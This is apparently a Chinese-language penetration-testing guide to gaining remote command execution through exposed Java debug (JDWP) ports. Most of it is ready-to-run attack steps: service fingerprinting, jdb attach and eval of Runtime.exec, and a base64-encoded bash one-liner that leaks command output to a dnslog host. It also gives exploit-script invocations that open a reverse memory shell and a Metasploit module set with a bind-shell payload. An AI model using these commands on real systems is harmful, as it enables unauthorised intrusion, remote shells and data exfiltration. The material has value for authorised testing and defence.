JDWP远程命令执行漏洞
概述
JPDA(Java Platform Debugger Architecture)即Java平台调试体系架构,其整体架构如图:
整体分为三层:
- JVMTI:Java VM Tool Interface即JVM工具接口。Debuggee即被调试者是由被调试的应用程序(未显示)、运行应用程序的VM和调试器后端组成。为了可远程调试,JVM实例必须使用命令行参数
-Xdebug
以及参数-Xrunjdwp
(或-agentlib
)显式启动。其中调试器后端是使用JVMTI来定义JVM提供的调试服务; - JDWP:Java Debug Wire Protocol是Debugger和JVM实例之间的通信协议;
- JDI:Java Debug Interface即Java调试接口,是JDWP协议的客户端,调试器通过其来远程调试目标JVM中的应用;
JDWP(Java Debug Wire Protocol,Java调试线协议)是一个为Java调试而设计的通讯交互协议,它定义了调试器(Debugger)和被调试JVM(Debuggee)进程之间的交互数据的传递格式,它详细完整地定义了请求命令、回应数据和错误代码,保证了调试端和被调试端之间通信通畅。
在渗透测试的过程中,如果遇到目标开启了JDWP服务,就可以利用JDWP实现远程代码执行。
识别服务
fofa:banner="jdwp"
nmap扫描识别服务
nmap -sT -sV 192.168.192.1 -p 8000
测试利用
jdb手动调试
二选一连接远程JDWP服务
jdb -attach 192.168.0.100:8000
jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.182.130,port=8000
使用threads
命令查看所有线程
使用thread <线程id>
命令选择指定一个sleeping的线程,再执行stepi
命令进入该线程(stepi命令用于执行当前指定,启动休眠的线程)
thread 0x6ca
stepi
这里实战时尝试选择
http-bio-8080-xxxx
的sleeping线程,发现执行RunTime()
失败,此时可以尝试换一个线程再进行利用,后面尝试idea-xxxx
线程成功执行命令
接下来可以通过 print|dump|eval
命令,执行Java表达式从而达成命令执行
eval java.lang.Runtime.getRuntime().exec("whoami")
这里是使用
java.lang.Runtime
去执行系统命令,可以看到命令是执行成功,返回了一个Process对象,直接这样利用没有回显(有方式可以实现直接回显,参考https://github.com/r3change/jdwp-shellifier),我们可以使用dnslog平台查询命令执行的结果另外使用
java.lang.Runtime
执行系统命令有个坑点,就是执行的命令中如果包含特殊符号,执行命令可能就会执行不成功,解决办法就是对要执行的命令进行编码处理(base64)bash -c {echo,cGluZyBgd2hvYW1pYC50ZnVoZXcuZG5zbG9nLmNu} | {base64,-d} | {bash,-i}
利用jdwp-shellifier脚本
漏洞利用脚本1:https://github.com/IOActive/jdwp-shellifier jdwp-shellifier是使用Python2编写的,该工具通过编写了一个JDI(JDWP客户端),以下断点的方式来获取线程上下文从而调用方法执行命令。
漏洞利用脚本2:https://github.com/Lz1y/jdwp-shellifier 该脚本是在上面一个漏洞利用脚本的基础上,修改利用方式为通过对Sleeping的线程发送单步执行事件,达成断点,从而可以直接获取上下文、执行命令,而不用等待断点被击中。
漏洞利用脚本3:https://github.com/r3change/jdwp-shellifier 2022年r3change基于原版断点方式的jdwp-shellifier进行改写,增加了命令执行的回显
python2 jdwp-shellifier.py -t 192.168.182.130 -p 8000 --break-on "java.lang.String.indexOf" --cmd "whoami"
漏洞利用脚本4:https://github.com/l3yx/jdwp-codeifier 使用不需要等待断点的方式且能够动态执行Java/Js代码并获得回显。同时也将上文中的内存Shell内置进了工具中,反弹Java内存Shell
python jdwp-codeifier.py -t 192.168.65.254 -p 8000 -m rshell -a 127.0.0.1:8080 -l 0.1
# -a 指定反弹shell的地址
# -l 指定shell与服务器连接不上时的最大存活时间(分钟)(每隔5秒自动重连)
MSF漏洞模块利用
这里使用Metasploit自带的漏洞利用模块exploit/multi/misc/java_jdwp_debugger
进行漏洞利用
msf5 > use exploit/multi/misc/java_jdwp_debugger
msf5 exploit(multi/misc/java_jdwp_debugger) > set rhosts 192.168.182.129
msf5 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x64/shell/bind_tcp
msf5 exploit(multi/misc/java_jdwp_debugger) > run
实战中msf没测试成功(EOF错误),使用手工和漏洞利用脚本3成功执行命令。
参考文章: https://forum.butian.net/share/1232 https://xz.aliyun.com/t/13161 https://www.mi1k7ea.com/2021/08/06/%E6%B5%85%E6%9E%90JDWP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#JDWP